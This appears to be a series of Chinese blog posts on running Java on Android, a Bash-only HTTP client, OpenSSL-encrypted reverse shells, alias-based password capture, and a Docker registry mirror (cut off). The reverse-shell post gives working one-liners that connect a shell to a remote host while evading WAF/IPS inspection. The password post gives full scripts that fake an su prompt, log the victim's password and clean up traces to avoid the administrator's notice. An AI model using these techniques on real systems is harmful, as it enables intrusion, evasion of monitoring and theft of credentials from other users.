AI 摘要（由 ChatGPT 总结生成）：本文介绍了如何在 Android 设备上运行 Java 程序。由于 Android 基于 Linux 内核，虽没有官方的 Android 版本 JDK，但可以通过下载并配置 aarch64 架构的 JDK、GLIBC 动态链接库、PatchELF 和 Busybox 来实现。文章详细描述了相关软件的下载、环境变量设置和文件操作步骤，最终成功运行 Java 程序服务，并结合 shell 脚本处理环境路径，提供了较为完整的方案，适合对 Android 系统有一定了解的用户尝试。前言最近又来折腾了下，准备把换下来的 红米K40 手机充分利用起来，由于 Android 系统底层还是基于 Linux 内核，故也有了很多可玩的东西。本次主要是解决在 Android 设备上运行 Java 程序服务，虽然 Java 官方一直没发布基于 Android 版本的 JDK，但也一直有 aarch64/armhf 版本的，这种架构手机也是受支持的。话不多说，下面开始教程！准备工作此处及下文全部基于您的设备架构默认为 aarch64 、文件放置的默认位置为 /data/local/tmp 目录（ /sdcard 目录无法设置文件权限为可执行，因此请注意！），已开启 ADB 调试或有能力的自行解决文件传输问题。PatchELF： 文件下载地址：patchelf ，选择 aarch64-linux-android-patchelf 文件。JDK：文件下载地址： JDK （下载 Linux 平台 aarch64 架构的 JDK）。GLIBC 动态链接库： 文件下载地址：glibc （下载 libc6_x.x-xubuntu3_arm64.deb，解包提取 usr/lib/aarch64-linux-gnu 目录下的所有文件，或者从其他发行版镜像中提取都可以，前提注意架构）。busybox：文件下载地址：BusyboxTools （其它部分命令的拓展，如：realpath 、 tar 、 file 等）。以及有一定的 Linux 操作知识。设置并安装先使用 ADB 将文件发送到手机：adb push OpenJDK17U-jdk_aarch64_linux_hotspot_17.0.13_11.tar.gz /data/local/tmp adb push aarch64-linux-gnu.zip /data/local/tmp adb push aarch64-linux-android-patchelf /data/local/tmp使用 ADB 进入设备 Shell 并操作：adb shell # 进入 /data/local/tmp 目录 cd /data/local/tmp # 将 patchelf 重命名一下： mv aarch64-linux-android-patchelf patchelf # 解压 JDK tar -zxvf OpenJDK17U-jdk_aarch64_linux_hotspot_17.0.13_11.tar.gz # 重命名一下 jdk 目录名称（该操作随意，可有可无） mv jdk-17.0.13+11 jdk-17.0.13 # 将 libc6_2.40-1ubuntu3_arm64.deb 解压再解压，得到目录文件 # 将 usr/lib/aarch64-linux-gnu 目录（上一步骤已压缩为 aarch64-linux-gnu.zip）所有文件释放到 libs 目录中。 unzip -c libs aarch64-linux-gnu.zip最终的 /data/local/tmp 相关文件目录格式如下图：此时我们尝试执行一下 java 命令，会发现有奇怪的问题：[root@k40:/data/local/tmp]# ./jdk-17.0.13/bin/java sh: ./jdk-17.0.13/bin/java: No such file or directory [root@k40:/data/local/tmp]#这是因为原本的 JDK 是为通用 Linux 发行版所编译，这些发行版的目录格式也是遵循 Linux 标准目录格式，JDK 也因此会在 /lib 目录下查找它所需要的动态链接库文件，但是 Android 上没有，所以就报了上述的错误。我们可以使用 file 命令进行简单验证：[root@k40:/data/local/tmp]# file ./jdk-17.0.13/bin/java ./jdk-17.0.13/bin/java: ELF shared object, 64-bit LSB arm64, dynamic (/lib/ld-linux-aarch64.so.1), not stripped [root@k40:/data/local/tmp]#所以我们需要提取上述的 aarch64-linux-gnu 里的动态库，然后对 ELF 二进制文件修改其库链接的位置即可使用：# 授予 patchelf 文件可执行权限 chmod +x patchelf # 修改动态链接库，注意链接库必须是绝对路径 [root@k40:/data/local/tmp]# ./patchelf --set-interpreter /data/local/tmp/libs/ld-linux-aarch64.so.1 ./jdk-17.0.13/bin/java warning: working around a Linux kernel bug by creating a hole of 61440 bytes in ‘./jdk-17.0.13/bin/java’ [root@k40:/data/local/tmp]#此时，我们再使用 java --version 命令还是看不到相关版本信息并输出错误，这是因为 Java 使用的运行库与 Android 不完全兼容，因此我们还要解决动态库索引问题，由于 Android 基于 Linux 内核，因此可以配置 LD_LIBRARY_PATH 环境变量来加载我们所需的动态库文件，顺便再配置一下 JDK 的环境，如下：[root@k40:/data/local/tmp]# export LD_LIBRARY_PATH=/data/local/tmp/libs [root@k40:/data/local/tmp]# export JAVA_HOME=/data/local/tmp/jdk_test/jdk-17.0.13/ [root@k40:/data/local/tmp]# export PATH="$JAVA_HOME/bin:$PATH" [root@k40:/data/local/tmp]# java --version openjdk 17.0.13 2024-10-15 OpenJDK Runtime Environment Temurin-17.0.13+11 (build 17.0.13+11) OpenJDK 64-Bit Server VM Temurin-17.0.13+11 (build 17.0.13+11, mixed mode, sharing) [root@k40:/data/local/tmp]#此时可以看到命令成功输出 java 版本信息。如果使用其它命令（如：javac 等），还是会报上述一样的问题，所以我们需要一次性解决 JDK 的 bin 目录下的所有文件依赖，命令如下：# 操作在 /data/local/tmp 目录，命令如下： [root@k40:/data/local/tmp]# for i in $(ls ./jdk-17.0.13/bin);do ./patchelf --set-interpreter /data/local/tmp/libs/ld-linux-aarch64.so.1 ./jdk-17.0.13/bin/$i;done这样设置之后，JDK 的 bin 目录下其它二进制文件也就可以执行了，如下所示：[root@k40:/data/local/tmp]# ./jdk-17.0.13/bin/javac --version javac 17.0.13 [root@k40:/data/local/tmp]#到此，基本可以在 Android 上使用 java 了。运行项目由于 Android ADB Shell 环境相关环境与标准 Linux 环境目录有异，因此运行 jar 包时遇到如 /tmp 、home 目录等可能会无法寻找到，所以需要增加一些额外参数。我们可以先在 /data/local/tmp 下创建一些我们所需的目录，如下：mkdir home tmp此处为方便使用，我把一些东西写在 Shell 脚本中，后续执行将借助其脚本运行，脚本内容如下：#!/system/bin/sh export HOME=/data/local/tmp/home export TMPDIR=/data/local/tmp/tmp export LD_LIBRARY_PATH=/data/local/tmp/libs export JAVA_HOME=/data/local/tmp/jdk-17.0.13 export CLASSPATH=.:${JAVA_HOME}/lib export PATH=${JAVA_HOME}/bin:${PATH} exec "$@"赋予脚本可执行权限，然后使用脚本执行 jar 包，并使用相关虚拟机参数重新定义相关目录，测试 jar 包运行效果如下：[root@k40:/data/local/tmp/tmp]# chmod +x java_run.sh [root@k40:/data/local/tmp/tmp]# ./java_run.sh java -Duser.home=$HOME -Djava.io.tmpdir=$TMPDIR -jar zipkin-server-3.4.1-exec.jar oo oooo oooooo oooooooo oooooooooo oooooooooooo ooooooo ooooooo oooooo ooooooo oooooo ooooooo oooooo o o oooooo oooooo oo oo oooooo ooooooo oooo oooo ooooooo oooooo ooooo ooooo ooooooo oooooo oooooo oooooo ooooooo oooooooo oo oo oooooooo ooooooooooooo oo oo ooooooooooooo oooooooooooo oooooooooooo oooooooo oooooooo oooo oooo ________ ____ _ _____ _ _ |__ /_ _| _ \| |/ /_ _| \ | | / / | || |_) | ' / | || \| | / /_ | || __/| . \ | || |\ | |____|___|_| |_|\_\___|_| \_| :: version 3.4.1 :: commit 1dc238c :: 2024-12-03T10:07:09.761Z WARN [/] 4860 --- [ main] i.m.p.PrometheusMeterRegistry : A MeterFilter is being configured after a Meter has been registered to this registry. All MeterFilters should be configured before any Meters are registered. If that is not possible or you have a use case where it should be allowed, let the Micrometer maintainers know at https://github.com/micrometer-metrics/micrometer/issues/4920. Enable DEBUG level logging on this logger to see a stack trace of the call configuring this MeterFilter. 2024-12-03T10:07:10.269Z INFO [/] 4860 --- [oss-http-*:9411] c.l.a.s.Server : Serving HTTP at /[0:0:0:0:0:0:0:0]:9411 - http://127.0.0.1:9411/ 服务测试成功运行并可访问：小结这也是继上一个把 Python 弄进 Android 系统后又一个将 Java 弄进Android 系统内使用。这下可折腾的就多了，大家自行发挥吧~
AI 摘要（由 ChatGPT 总结生成）：本文介绍了一种使用 Bash 脚本模拟 HTTP 和 HTTPS 请求的方法，适用于缺少 wget 和 curl 命令的环境。文章提供了详细的脚本代码和使用方法，通过示例展示了脚本的效果和使用方法，包括如何处理 HTTP 和 HTTPS 协议。这种方法能够替代传统的 wget 和 curl 命令，实现网络请求的功能。前言之前写过一篇文章关于使用纯 Bash 模拟 HTTP 请求的文章，链接如下：[post cid="1497" /]正好前阵子又分析了一个恶意挖矿脚本时遇到了一段相关代码，遂有感而发。而且平时我们拿到一个 Shell ，进去后发现没有 wget、curl 命令（特别是一些阉割较狠的 Docker 容器环境内），但是却具有完整的 Bash 环境，这时候我们可不可以使用 Bash 的特性，使得我们可以使用类似 wget、curl 命令呢？这就是今晚水这篇文章的原因。废话不多说，直接上代码及食用教程。代码脚本代码比较粗糙，未做更好的优化，更多的是提供大家一个思路。代码如下：#!/bin/bash _curl() { local proto server path port proto=$(echo "$1" | awk -F: '{print $1}') server=$(echo "$1" | awk -F/ '{print $3}') path=$(echo "$1" | awk -F/ '{for(i=4;i<=NF;i++) printf "%s", $i; print ""}') local tag="close" local ua="curl/7.29.0 (Shell)" DOC="/${path}" HOST="${server%%:*}" PORT="${server##*:}" if "$proto" == "http" ; then "$PORT" == "$HOST" && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT FD_IN=3 elif "$proto" == "https" ; then "$PORT" == "$HOST" && PORT=443 # 对于 HTTPS 使用 coproc 创建子进程运行，避免脚本卡住 coproc openssl_process { openssl s_client -connect ${HOST}:${PORT} -quiet 2>/dev/null; } exec 3>&${openssl_process[1]} exec 4<&${openssl_process[0]} FD_IN=4 else echo "错误：不支持的协议。请使用 http 或 https。" exit 1 fi echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\nUser-Agent: ${ua}\r\nConnection: ${tag}\r\n\r\n" >&3 local chunked=false while read -r line <&${FD_IN}; do line="${line%%[[:cntrl:]]}" -z "$line" && break "$line" =~ Transfer-Encoding:\ chunked && chunked=true done if $chunked; then _parse_chunked_body else cat <&${FD_IN} fi exec 3>&- "$proto" == "https" && { exec 4<&-; wait $openssl_process_PID; } } _parse_chunked_body() { while :; do read -r chunk_size_hex <&${FD_IN} chunk_size_hex="${chunk_size_hex%%[[:cntrl:]]}" local chunk_size=$((16#$chunk_size_hex)) $chunk_size -eq 0 && break dd bs=1 count=$chunk_size <&${FD_IN} 2>/dev/null read -r _ <&${FD_IN} done } if -z "$1" ; then echo "错误：未提供 URL 参数。" echo "用法示例：$0 http(s)://example.com/path" exit 1 else _curl "$1" fi食用可将上述代码保存到 Shell 脚本中或自行集成到自己的脚本中，食用方法如下（同步食用自带的 curl 命令模拟一遍做对照参考）：HTTP 方式模拟如下：[root@localhost tmpdir]# curl http://ip.isisy.com/8.8.8.8 IP: 8.8.8.8 AS: AS15169 City: Mountain View Region: California Country: US - United States（美国） Timezone: America/Los_Angeles Location: 37.4056,-122.0775 ISP: Google LLC Scope: 8.8.8.8/32 Detail: 美国–加利福尼亚州–圣克拉拉–山景城谷歌公司DNS服务器 [root@localhost tmpdir]# [root@localhost tmpdir]# ./_curl.sh http://ip.isisy.com/8.8.8.8 IP: 8.8.8.8 AS: AS15169 City: Mountain View Region: California Country: US - United States（美国） Timezone: America/Los_Angeles Location: 37.4056,-122.0775 ISP: Google LLC Scope: 8.8.8.8/32 Detail: 美国–加利福尼亚州–圣克拉拉–山景城谷歌公司DNS服务器 [root@localhost tmpdir]# HTTPS 方式模拟如下：[root@localhost tmpdir]# curl https://ip.isisy.com/robots.txt User-Agent: * Disallow: / [root@localhost tmpdir]# [root@localhost tmpdir]# ./_curl.sh https://ip.isisy.com/robots.txt User-Agent: * Disallow: / [root@localhost tmpdir]# 可见请求结果基本一致，使用上述脚本时，还请使用完整的 HTTP(S) 链接，同时用户也可自己定义其请求端口，例如：./_curl.sh http://example:8080/path小结本脚本基本实现了使用 Bash 的相关特性以请求网络地址，但还有较多待完善的地方，若其他大佬有兴趣可接着完善（或等我后续在慢慢完善～）。
AI 摘要（由 ChatGPT 总结生成）：本文探讨了如何通过SSL加密反弹Shell流量以避免被WAF和IPS检测。首先，直接反弹Shell时数据以明文方式传输，容易被监控。接着，介绍了如何生成SSL证书并利用OpenSSL对流量进行加密。对于Linux和Windows平台，分别提供了相应的命令和步骤，实现加密后的Shell反弹，并通过数据包分析验证了加密效果。最后总结了使用OpenSSL加密传输的实用性，后续将讨论流量解密。前言前段时间的一个小插曲，我们在拿到 RCE 漏洞后，往往会弹一个 Shell 出来操作，但若是直接反弹会有一个缺点：流量是以明文方式传输的，容易被 WAF、 IPS 等检测到，进而对带有攻击特征的设备拦截或记录，这时候我们对流量加密则至关重要。下面直接演示。直接反弹这里我们简单演示直接反弹的结果，并使用 tcpdump 工具进行数据流的抓取并分析。首先，我们在测试机中先开一个 Shell 窗口，并使用 tcpdump 抓取 eth0 网卡数据流量，命令如下：[root@localhost revshell]# tcpdump -i eth0 -w revshell.cap远程主机使用 nc 工具监听端口：[root@localhost ~]# nc -lvvp 2024 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::2024 Ncat: Listening on 0.0.0.0:2024 接下来，我们再在测试机上开一个窗口，进行 Shell 反弹，如下：[root@localhost ~]# /bin/bash -i >& /dev/tcp/[远程IP]/2024 0>&1成功反弹后，执行命令，并使用工具分析抓取的数据包，以查看在远程主机上所执行的命令与结果，可见数据皆明文传输：加密流量下面我们尝试生成 SSL 证书，再使用 OpenSSL 加密反弹 Shell 。我们在远程主机上使用 OpenSSL 工具生成 SSL 证书的公/私钥对，需要填写的 SSL 证书信息可以是空，一直回车即可，如下：[root@localhost revshell]# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes Generating a 4096 bit RSA private key ...................................................++ ..........................................................................................................................................++ writing new private key to 'key.pem' ----- You are about to be asked to enter information that will be incorporated into your certificate request. ………… Common Name (eg, your name or your server's hostname) []: Email Address []: [root@localhost revshell]# ll total 8 -rw-r--r--. 1 root root 1911 Oct 4 18:22 cert.pem -rw-r--r--. 1 root root 3272 Oct 4 18:22 key.pem [root@localhost revshell]#证书生成成功后，我们即可利用该证书对相关流量进行加密。Linux 平台1、在远程主机上使用 OpenSSL 在指定端口启动 SSL/TLS 服务，如下：openssl s_server -quiet -key key.pem -cert cert.pem -port 20242、测试机上使用 OpenSSL 反弹加密的 Shell ：mkfifo /tmp/revshell; /bin/bash -i < /tmp/revshell 2>&1 | openssl s_client -quiet -connect [远程IP]:2024 > /tmp/revshell; rm -f /tmp/revshell简单在加密的 Shell 上输入几个 Linux 命令后并再次分析验证其数据流量：可以看到，传输的数据流量在 3 次握手以后就直接从 TCP 协议变成了 TLSv1.2 ，原先几乎等于明文的 TCP 数据包也变成了看不懂的Application Data，如下：Windows 平台1、由于 OpenSSL 官方未提供适用于 Windows 平台的工具，因此我们可以借助三方开源平台的OpenSSL工具，工具如下：Win32/Win64 OpenSSL我们选择 Light 安装包下载安装即可。2、在 Windows 平台下，我们远程主机监听两个端口，其命令如下：# 配置命令发送端口 openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1] # 配置命令结果接收端口 openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]Windows 主机下我们反弹的命令如下：openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]上述需定义两个远程主机端口，第一个端口 port1 负责实现对 Windows 主机发送用户的命令，其命令经过管道交由 cmd 处理，并将处理结果再返回到远程主机的 port2 端口。我们在远程主机的 port1 端口的窗口敲击命令，在 port2 端口的窗口观察执行结果，其结果如图所示：3、经过上述实操，我们在 Windows 上抓取流量数据包并再次分析流量，结果如下，可见进行了 SSL 加密内容：小结这也算是近期遇到的一个小插曲，个人博文中也写过相关反弹 Shell 的文章，本次则是利用 OpenSSL 对反弹的 Shell 流量进行加密传输，以绕过相关设备的拦截；此文只写使用，暂不讨论流量的解密，可后续再写一文进行分析流量解密操作。
别名利用之Linux低权限用户抓取切账户时密码
AI 摘要（由 ChatGPT 总结生成）：本文介绍了一种利用Linux低权限用户抓取切账户时密码的技巧。通过获取用户的操作历史，发现多次执行 su - root 命令但未发现密码。利用Linux的别名机制，替换 su 命令为恶意脚本，记录输入的密码后显示认证失败，最后清理痕迹。此方法实现了在不引起警觉的情况下获取目标用户的密码，但需谨慎使用，以免影响系统正常操作。前言近几个月事儿较多，文章又拖更三个月了。近期在刷一些文，有一处讲到了 Linux 低权限用户利用别名命令来抓取切账户时的密码，之前也有过了解与操作，其原理并不难，遂此次利用假期再次进行了实操并总结此文。话不多说，下面直接开始！实现思路我们通过某些 RCE 漏洞获取到一个正常的低权限 Linux Shell ，并使用该 Shell 浏览了用户的操作历史命令后，发现历史命令里有多次执行 su - root 命令以切换超级用户操作，但是在一通翻找后却未发现密码。于是借助 Linux 的别名机制，替换用户的 su 命令为我的“恶意脚本”负责伪造一次认证，并在记录密码后进行回显密码错误，再对其进行痕迹清理，这样就能不知不觉中获取用户在切换如超级用户时的密码。下面进行步骤演示。具体步骤1、 为了伪造一次认证，我们先观察一下普通用户在执行 su - root 命令后输错密码的一次正常的回显，如下：[yang@localhost ~]$ su - root Password: su: Authentication failure [yang@localhost ~]$那么我们在用户家目录下创建一个“恶意 Shell 脚本”，其 Shell 脚本内容可以这么写：#!/bin/bash echo -e "Password: \c" read -s pass echo ${pass} >> /tmp/.pass.log echo "" echo "su: Authentication failure"对比一下命令的执行效果，可以发现其提示几乎没什么区别：2、 接下来备份一下该用户的 .bashrc 文件，并修改该文件，添加一条 alias 别名：# 备份 .bashrc 文件 [yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc # 编辑 .bashrc 文件并添加一条 alias 别名 [yang@localhost ~]$ vim ~/.bashrc …… alias su="~/run_pass.sh"测试一下，成功捕获密码：[yang@localhost ~]$ vim ~/.bashrc [yang@localhost ~]$ . ~/.bashrc [yang@localhost ~]$ su - root Password: su: Authentication failure [yang@localhost ~]$ [yang@localhost ~]$ cat /tmp/.pass.log test_pass [yang@localhost ~]$3、 但是这样子修改也随之而来一个问题，即认证始终无法成功，无法成功认证则会影响到管理员的正常操作，进而引起警觉，所以我们需要修改一下脚本，再抓取到一次密码后，恢复为正常的 su 所切换的用户，于是脚本进一步修改为如下：#!/bin/bash echo -e "Password: \c" read -s pass echo ${pass} >> /tmp/.pass.log echo "" echo "su: Authentication failure" # 还原原始的 .bashrc 文件并启动新终端，此时su命令被还原 cp -p /tmp/.bashrc ~/.bashrc rm -f /tmp/.bashrc bash下面再进行测试一下：可见此时 su 命令已被还原，密码也成功记录下来：[yang@localhost ~]$ vim run_pass.sh [yang@localhost ~]$ su - root Password: su: Authentication failure [yang@localhost ~]$ su - root Password: Last login: Tue Oct 1 20:48:03 CST 2024 from 192.168.1.99 on pts/1 Last failed login: Tue Oct 1 20:49:37 CST 2024 on pts/1 There was 1 failed login attempt since the last successful login. [root@localhost ~]# cat /tmp/.pass.log test_passwd [root@localhost ~]#4、 但是，此时又引来一个问题，如果用户习惯直接点关闭窗口的'X'倒还好说，若习惯输入 exit 命令退出终端，则需要退两次才能退出，如下：Last login: Tue Oct 1 20:49:47 CST 2024 on pts/1 # 下面第一个 exit 命令退出 root 用户 Shell 环境（正常） [root@localhost ~]# exit logout # 下面第二个 exit 命令退出上述第一个执行命令时生成的 Shell 环境（非正常，易引起警觉） [yang@localhost ~]$ exit exit # 下面第三个 exit 命令退出当前用户 Shell 环境（正常） [yang@localhost ~]$exit logout5、 于是，对此的解决方法可以进行备份两个 ~/.bashrc 文件，并使用 alias 别名再重写一个 exit 命令，用于找到“恶意脚本”的 bash 并将其进程杀掉，实现一次 exit 命令即可退出终端，演示如下：备份两个 .bashrc 文件：[yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc [yang@localhost ~]$ cp -p ~/.bashrc /tmp/.bashrc_tmp修改 /tmp/.bashrc_tmp 文件内容，添加一条 alias 别名如下：[yang@localhost ~]$ vim /tmp/.bashrc_tmp [yang@localhost ~]$ cat /tmp/.bashrc_tmp …… alias exit="~/run_pass2.sh" [yang@localhost ~]$再对 run_pass.sh 脚本进行修改，如下：[yang@localhost ~]$ vim ~/run_pass.sh [yang@localhost ~]$ cat ~/run_pass.sh #!/bin/bash echo -e "Password: \c" read -s pass echo ${pass} >> /tmp/.pass.log echo "" echo "su: Authentication failure" # 还原原始的 .bashrc 文件并启动新终端，此时su命令被还原 cp -p /tmp/.bashrc_tmp ~/.bashrc rm -f /tmp/.bashrc_tmp bash [yang@localhost ~]$再对 run_pass2.sh 脚本进行修改，如下：#!/bin/bash # 找到 su 仍是恶意脚本的 bash 并杀掉进程，实现一次 exit 命令即退出 ps_result=$(ps -ef | grep -v grep | grep "run_pass.sh") pid=$(echo ${ps_result} | awk '{print $2}') cp -p /tmp/.bashrc ~/.bashrc rm -f /tmp/.bashrc kill -9 ${pid}当然，操作到此处不要忘了当前用户家目录下的 .bashrc 文件添加一条 alias 的 su 别名（已添加忽略）：[yang@localhost ~]$ vim ~/.bashrc …… alias su="~/run_pass.sh"至此，管理员只需要输入一次 exit 命令即可退出终端，但是管理员直接'X'掉了终端，那么原始 .bashrc 文件就没有恢复，则会影响接下来的所有终端，所以分析管理员的习惯格外重要。总结此方式以 alias 别名命令实操利用低权限用户获取 Linux 系统内高权限或其他用户密码，上述两种方式不论用哪一种可能都会引起管理员的“警觉”，毕竟或许一个低权限的系统用户存在多人管理员使用，且各有不同的终端使用方式，此时该方法则存在一定的局限性。​此方法也仅供参考学习使用，具体使用还需根据具体情况分析。
AI 摘要（由 ChatGPT 总结生成）：文章介绍了在国内提供镜像站和镜像加速服务被禁止的情况下，如何自建Docker镜像加速服务。全文详细描述了搭建流程，包括准备环境、安装Docker和Nginx、配置镜像仓库和Nginx反代等步骤。此外，还提供了如何通过修改Docker配置来使用新的Registry地址，并介绍了如何通过UI查看缓存的镜像。这为需要绕过官方限制的开发者提供了一种解决方案。前言因截止到 2024 年 06 月 07 日，国内已要求所有提供镜像站和镜像加速服务的机构停止其服务。这对国内一众开发者及安全从业者造成了相当的困扰，正好自己这几天晚上折腾了一下镜像站的部署，故简单水个文。搭建流程本文借鉴了另一位博主浅时光的教程，同时本文也同样适用内网自建，方便大家使用。有的文章是使用 CloudFlare Works 搭建的，但 CloudFlare 在当下的国内环境下不知道啥时候会出幺蛾子，故本文不讨论使用 CloudFlare Works 方式部署。操作流程拥有一台国外未被墙的主机。国内主机也可，但需会使用科学上网工具（此需自行解决，本文不提供相应教程）。一个域名，国外主机、内网自建不需备案，国内公网主机部署且对外提供则需备案。部署 Nginx，用于配置域名和 SSL 证书来反代 Registry 容器服务。部署 Docker 和 Docker Compose。基础环境安装添加 Docker YUM 源：[root@localhost ~]# yum update [root@localhost ~]# yum install -y yum-utils device-mapper-persistent-data lvm2 [root@localhost ~]# yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo安装 Docker ：#可以查看所有仓库中所有docker版本，并选择特定版本安装 [root@localhost ~]# yum list docker-ce --showduplicates | sort -r [root@localhost ~]# yum install -y docker-ce启动 Docker ：[root@localhost ~]# systemctl enable docker && systemctl start docker部署镜像仓库代理下文涉及浅时光博主的 GitHub 项目：Docker-Proxy下述文件皆存放于 /var/registry-proxy 目录中，若需指定其它目录请自行创建并使用。创建账号密码【可选】：[root@localhost ~]# mkdir -p /var/registry-proxy && cd $_ [root@localhost registry-proxy]# mkdir auth && mkdir -p registry/data [root@localhost registry-proxy]# docker run --entrypoint htpasswd httpd:2 -Bbn TEST TESTPASSWD > auth/htpasswd添加 docker-compose.yml 文件：下述配置若需使用密码，则请将 volumes 处的 ./auth:/auth 注释取消。若内网、国内主机部署，请自行部署好科学上网代理，并将 environment 处的 HTTP_PROXY、HTTPS_PROXY、NO_PROXY 注释取消，并配置其正确的代理地址。services: ## docker hub docker-hub: container_name: reg-docker-hub image: registry:latest restart: always #environment: #HTTP_PROXY: "http://172.17.0.1:7890" #HTTPS_PROXY: "http://172.17.0.1:7890" #NO_PROXY: "localhost,127.*,10.*,172.16.*,172.17.*,172.18.*,172.19.*,172.20.*,172.21.*,172.22.*,172.23.*,172.24.*,172.25.*,172.26.*,172.27.*,172.28.*,172.29.*,172.30.*,172.31.*,192.168.*" volumes: - ./registry/data:/var/lib/registry - ./docker-hub.yml:/etc/docker/registry/config.yml #- ./auth:/auth ports: - 51000:5000 networks: - registry-net ## ghcr.io ghcr: container_name: reg-ghcr image: registry:latest restart: always environment: REGISTRY_HTTP_HEADERS_Access-Control-Allow-Origin: '[http://localhost]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Methods: '[HEAD,GET,OPTIONS,DELETE]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Credentials: '[true]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Headers: '[Authorization,Accept,Cache-Control]' REGISTRY_HTTP_HEADERS_Access-Control-Expose-Headers: '[Docker-Content-Digest]' REGISTRY_STORAGE_DELETE_ENABLED: 'true' #HTTP_PROXY: "http://172.17.0.1:7890" #HTTPS_PROXY: "http://172.17.0.1:7890" #NO_PROXY: "localhost,127.*,10.*,172.16.*,172.17.*,172.18.*,172.19.*,172.20.*,172.21.*,172.22.*,172.23.*,172.24.*,172.25.*,172.26.*,172.27.*,172.28.*,172.29.*,172.30.*,172.31.*,192.168.*" volumes: - ./registry/data:/var/lib/registry - ./ghcr.yml:/etc/docker/registry/config.yml #- ./auth:/auth ports: - 52000:5000 networks: - registry-net ## gcr.io gcr: container_name: reg-gcr image: registry:latest restart: always environment: REGISTRY_HTTP_HEADERS_Access-Control-Allow-Origin: '[http://localhost]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Methods: '[HEAD,GET,OPTIONS,DELETE]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Credentials: '[true]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Headers: '[Authorization,Accept,Cache-Control]' REGISTRY_HTTP_HEADERS_Access-Control-Expose-Headers: '[Docker-Content-Digest]' REGISTRY_STORAGE_DELETE_ENABLED: 'true' #HTTP_PROXY: "http://172.17.0.1:7890" #HTTPS_PROXY: "http://172.17.0.1:7890" #NO_PROXY: "localhost,127.*,10.*,172.16.*,172.17.*,172.18.*,172.19.*,172.20.*,172.21.*,172.22.*,172.23.*,172.24.*,172.25.*,172.26.*,172.27.*,172.28.*,172.29.*,172.30.*,172.31.*,192.168.*" volumes: - ./registry/data:/var/lib/registry - ./gcr.yml:/etc/docker/registry/config.yml #- ./auth:/auth ports: - 53000:5000 networks: - registry-net ## k8s.gcr.io k8s-gcr: container_name: reg-k8s-gcr image: registry:latest restart: always environment: REGISTRY_HTTP_HEADERS_Access-Control-Allow-Origin: '[http://localhost]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Methods: '[HEAD,GET,OPTIONS,DELETE]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Credentials: '[true]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Headers: '[Authorization,Accept,Cache-Control]' REGISTRY_HTTP_HEADERS_Access-Control-Expose-Headers: '[Docker-Content-Digest]' REGISTRY_STORAGE_DELETE_ENABLED: 'true' #HTTP_PROXY: "http://172.17.0.1:7890" #HTTPS_PROXY: "http://172.17.0.1:7890" #NO_PROXY: "localhost,127.*,10.*,172.16.*,172.17.*,172.18.*,172.19.*,172.20.*,172.21.*,172.22.*,172.23.*,172.24.*,172.25.*,172.26.*,172.27.*,172.28.*,172.29.*,172.30.*,172.31.*,192.168.*" volumes: - ./registry/data:/var/lib/registry - ./k8s-ghcr.yml:/etc/docker/registry/config.yml #- ./auth:/auth ports: - 54000:5000 networks: - registry-net ## quay.io quay: container_name: reg-quay image: registry:latest restart: always environment: REGISTRY_HTTP_HEADERS_Access-Control-Allow-Origin: '[http://localhost]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Methods: '[HEAD,GET,OPTIONS,DELETE]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Credentials: '[true]' REGISTRY_HTTP_HEADERS_Access-Control-Allow-Headers: '[Authorization,Accept,Cache-Control]' REGISTRY_HTTP_HEADERS_Access-Control-Expose-Headers: '[Docker-Content-Digest]' REGISTRY_STORAGE_DELETE_ENABLED: 'true' #HTTP_PROXY: "http://172.17.0.1:7890" #HTTPS_PROXY: "http://172.17.0.1:7890" #NO_PROXY: "localhost,127.*,10.*,172.16.*,172.17.*,172.18.*,172.19.*,172.20.*,172.21.*,172.22.*,172.23.*,172.24.*,172.25.*,172.26.*,172.27.*,172.28.*,172.29.*,172.30.*,172.31.*,192.168.*" volumes: - ./registry/data:/var/lib/registry - ./quay.yml:/etc/docker/registry/config.yml #- ./auth:/auth ports: - 55000:5000 networks: - registry-net ## UI registry-ui: container_name: registry-ui image: dqzboy/docker-registry-ui:latest restart: always ports: - 50000:8080 environment: - DOCKER_REGISTRY_URL=http://reg-docker-hub:5000 # [必须]使用 openssl rand -hex 16 生成唯一值 - SECRET_KEY_BASE=4de431e51588e2050648ba63e3084fff # 启用Image TAG 的删除按钮 - ENABLE_DELETE_IMAGES=true - NO_SSL_VERIFICATION=true networks: - registry-net networks: registry-net:添加 config.yml 文件：注意：每个容器挂载对应的 config.yml ，这里名称与上面 docker-compose.yml 文件内定义的挂载名称保持一致；下面只是其中一个示例配置，其他的配置也一样，只需要更改 remoteurl 代理的地址即可。也可从 GitHub 项目内自行下载对应文件放入同目录下。version: 0.1 log: fields: service: registry storage: filesystem: rootdirectory: /var/lib/registry delete: enabled: true cache: blobdescriptor: inmemory blobdescriptorsize: 10000 maintenance: uploadpurging: enabled: true age: 168h interval: 24h dryrun: false readonly: enabled: false http: addr: :5000 headers: X-Content-Type-Options: [nosniff] Access-Control-Allow-Origin: ['*'] Access-Control-Allow-Methods: ['HEAD', 'GET', 'OPTIONS', 'DELETE'] Access-Control-Allow-Headers: ['Authorization', 'Accept', 'Cache-Control'] Access-Control-Max-Age: [1728000] Access-Control-Allow-Credentials: [true] Access-Control-Expose-Headers: ['Docker-Content-Digest'] #auth: # htpasswd: # realm: basic-realm # path: /auth/htpasswd health: storagedriver: enabled: true interval: 10s threshold: 3 proxy: remoteurl: https://registry-1.docker.io username: password: 启动容器服务：[root@localhost registry-proxy]# ls 